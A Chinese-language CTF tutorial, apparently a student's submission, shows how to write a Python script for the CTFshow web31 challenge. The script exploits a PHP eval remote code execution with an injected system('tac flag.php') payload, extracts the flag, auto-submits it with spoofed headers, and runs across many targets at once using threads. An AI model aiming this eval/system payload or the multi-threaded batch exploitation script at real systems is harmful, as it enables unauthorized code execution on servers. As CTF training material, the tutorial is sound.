这里放上一篇学生的投稿文章
0x00 前言
在现代网络安全领域,远程代码执行(RCE)漏洞的发现与利用成为了重要的研究课题。随着攻击手段的不断演进,安全专业人士面临着日益复杂的威胁环境。为应对这一挑战,自动化和批量处理工具的开发显得尤为重要。这不仅可以提高漏洞检测的效率,还能大幅降低人为操作带来的错误风险。
本指南旨在帮助读者理解如何通过 RCE 脚本实现自动化和批量处理。无论您是网络安全研究员、渗透测试人员还是 DevSecOps 工程师,这份指南将为您提供实用的工具和方法,帮助您快速识别和利用潜在的 RCE 漏洞。
在接下来的内容中,您将学习到:
- RCE 漏洞的基本概念及其危害
- 如何设计和编写有效的 RCE 脚本
- 实现自动化与批量执行的最佳实践
- 实际案例分析与应用场景
0x01 前期准备
首先我们需要用到这几个库
urlencode
requests
urllib3
colorama
没有这几个库的可以使用pip下载
pip install 库名
0x02 实验步骤
现在开始编写,这里我使用的是ctfshow作为演示比赛的时候进行微微的修改就行这里我用web31来作为案例进行编写
首先我们拿到我们的url,这里我会用两种方式,一种是直接赋值(适用于单个靶机,用来演示),一种是从文件里面打开获取(比赛的时候一般都是多台靶机我们可以把获取到的靶机全部放到一个文件里面进行批量)
通过审计代码发现?c=eval($_GET[“b”]);&b=system(“tac%20flag.php”);能拿到flag,那么我们现在来编写poc
import requests
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'#这里我们是我输入的payload
}
req = requests.get(url=url_main, params=param).text
print(req)
运行发现他报了这种错误
requests.exceptions.SSLError: HTTPSConnectionPool
翻译之后发现他是进行了SSL认证无法获得本地签发证书,刚好在request.get()方法里面有个传参verify,翻译过来就是检验,我们关闭他试试
添加之后再次运行发现还有报错,我们点开这个连接看看
import requests
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)
原来是一个在访问没有证书网站时候的警告,我们使用官方的方法进行捕获就行
import requests
import urllib3
urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
req = requests.get(url=url_main, params=param,verify=False).text
print(req)
这次运行发现什么都没有,按道理来说我们flag那个页面就已经出来了,这个时候我们使用burp抓包看看
burp抓包教程
选第一个然后添加8080
接下来配置我们的脚本
代码如下
import requests
import urllib3
urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
} #代理
# proxies设置代理
req = requests.get(url=url_main, params=param,verify=False,proxies=proxy).text
print(req)
运行抓包把包发到Repeater这个模块
发现url编码把=和&号给编码了浏览器没识别出来
这时候我们可以使用urlencode()这个方法来设置哪些参数不用编码
代码如下
from urllib.parse import urlencode
import requests
import urllib3
urllib3.disable_warnings()
url_main = "https://da3ea8a4-de12-4f97-821f-2b81dd2505ba.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=') #这里是我设置不想编码的部分,可以修改
req = requests.get(url=url_main, params=par,verify=False,proxies=proxy).text
print(req)
抓包一看 这次我们的=和&没有被编码,flag也出来了
这里我们把抓包关掉进入终端一看,发现整个页面的内容都出来了,但是我只想要ctfshow{}这一段用来提交,这里可以使用正则表达式来进行筛选
这里ctfshow里面的内容就被提取出来了
接下来是重点了,可能有些人会问:我们提取出来之后自己手动交嘛太low了吧,那我只能说NONONO小哥哥,既然是自动化,那么就要自动到底
这里我们点开我们的f12抓到提交的接口,或者也可以通过burp抓包拿到接口数据
接口
值
现在来写配置
代码如下,抓包看一下,记得post这个方法也配置代理,这样我们就会接受到两个包,把第一个包放掉就行
data = requests.post(url=interface, json=dat,verify=False,proxies=proxy).text
import re
from urllib.parse import urlencode
import requests
import urllib3
urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
flag = mat.group()
interface = "https://ctf.show/api/v1/challenges/attempt"
dat = {"challenge_id": 393, "submission": "123"}
# 这里我们的数据是json格式的所以我们就把data改为json
data = requests.post(url=interface, json=dat,verify=False,proxies=proxy).text
print(data)
抓包返回403,这里的原因我们没有配置header头,我们要把自己伪装得更像一个浏览器,我们对比两个数据包
发现我们自己编写的数据包少了很多东西,这里我们可以来配置一下这几个点,再次抓包发现多了我们配置的东西发送直接就提交成功了
代码
import re
from urllib.parse import urlencode
import requests
import urllib3
urllib3.disable_warnings()
url_main = "https://2325a7ef-cb8d-45c8-b644-acf343ed8705.challenge.ctf.show/"
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
"User-Agent" : ua,
"Referer": "https://ctf.show/challenges", #我们配置的请求体
"Csrf-Token": "你的token",
"Cookie": "你的cookie "
}
par = urlencode(param, safe='?&=')
req = requests.get(url=url_main, params=par, verify=False, proxies=proxy).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
flag = mat.group() #把我们正则之后的值赋值给flag
interface = "https://ctf.show/api/v1/challenges/attempt"
dat = {"challenge_id": 393, "submission": flag} #这里别忘记换成你的flag
# 这里我们的数据是json格式的所以我们就把data改为json
#别忘了配置关闭检验,添加代理,headers是用来配置请求体的
data = requests.post(url=interface, json=dat,verify=False,proxies=proxy,headers=conf).text
print(data)
接下来就是实现我们的批量
pip install colorama
下载颜色库
import re
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3
urllib3.disable_warnings()
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
"User-Agent": ua,
"Referer": "https://ctf.show/challenges",
"Csrf-Token": "你的token",
"Cookie": "你的cookie"
}
with open("1.txt", "r") as fp: #我们在自己脚本同包下创建一个1.txt里面放批量的网站
lis = fp.read().split("\n") #这里通过\n来读取每个网站,不添加的话只会读取一个或者报错
par = urlencode(param, safe='?&=')#我们的正则表达式规则
try:
for i in lis:
req = requests.get(url=i, params=par, verify=False, proxies=proxy,headers=conf).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
flag = mat.group()
interface = "https://ctf.show/api/v1/challenges/attempt"
dat = {"challenge_id": 393, "submission": flag}
# 这里我们的数据是json格式的所以我们就把data改为json
#下面这一串代码可有可无,就是加颜色的好看
data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()
boo = {'status': 'already_solved', 'message': 'You already solved this'}
if data.get('data') == boo: #这里我是抓取了提取成功返回包里面的data,转换为json格式就行,然后进行对比
print(Fore.GREEN + flag) #这里为了更加好看我加了绿色和红色
else:
print(Fore.RED + flag)
#捕获异常的代码需要哦
except requests.exceptions.MissingSchema as e:
print(Fore.RED+ "1") #这里是捕获我们一个报错的信息,它显示我url没加https://
#但是我加了他还是报错,但是不影响功能,我就把他捕获起来了
效果图
抓的这一段来对比如果一样那么就提交正确,大家到时候可以先提交一个然后看返回包
ps(其实这一段代码可有可无,就是为了加个颜色好看哈哈…..)
现在是加上多项线程之后速度得到了明显的提升,因为我们是比赛嘛,所以就别管他sleep()几秒了,要是心疼他们的话那就加个sleep(0.1)把
这里解释一下这串代码,这里用了ai帮我解释,让大家看的更全面
threading.Thread(target=process_url, args=(i,))
threading.Thread
是 Python 中用于创建线程的类。
target=process_url
指定了这个线程要执行的目标函数为process_url
。当线程启动时,它将执行这个函数。args=(i,)
是传递给目标函数的参数。在这里,i
是从lis
列表中读取的一个 URL,将其作为参数传递给process_url
函数,以便在该函数中使用这个 URL 进行网络请求等操作
在args=(i,)
中添加逗号的原因是要将参数表示为一个元组。
在 Python 中,如果只有一个元素的元组,必须在元素后面加上逗号,否则它会被解释为一个普通的值而不是元组。例如,(i)
会被视为与i
本身相同的值,而(i,)
则明确表示是一个包含一个元素的元组。
在这个场景中,args
参数期望的是一个可迭代对象(通常是元组或列表),用来传递给目标函数。如果不加逗号,当i
是单个值时,传递给目标函数的参数就不正确了
import re
import time
from urllib.parse import urlencode
from colorama import Fore, Back, Style
import requests
import urllib3
import threading
urllib3.disable_warnings()
param = {
"c": 'eval($_GET["b"]);&b=system("tac flag.php");'
}
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " \
"(KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
conf = {
"User-Agent": ua,
"Referer": "https://ctf.show/challenges",
"Csrf-Token": "你的token",
"Cookie": "你的cookie"
}
def process_url(url):
par = urlencode(param, safe='?&=')
try:
req = requests.get(url=url, params=par, verify=False, proxies=proxy, headers=conf).text
pa = r"ctfshow\{.*?\}"
mat = re.search(pa, req)
if mat:
flag = mat.group()
interface = "https://ctf.show/api/v1/challenges/attempt"
dat = {"challenge_id": 393, "submission": flag}
data = requests.post(url=interface, json=dat, verify=False, proxies=proxy, headers=conf).json()
boo = {'status': 'already_solved', 'message': 'You already solved this'}
if data.get('data') == boo:
print(Fore.GREEN + flag)
else:
print(Fore.RED + flag)
except requests.exceptions.MissingSchema as e:
print(Fore.RED + "1")
with open("1.txt", "r") as fp:
lis = fp.read().split("\n")
threads = []
for i in lis:
t = threading.Thread(target=process_url, args=(i,)) #解释在上面
threads.append(t)
t.start()
time.sleep(0.2) #这里是睡眠
for t in threads:
t.join()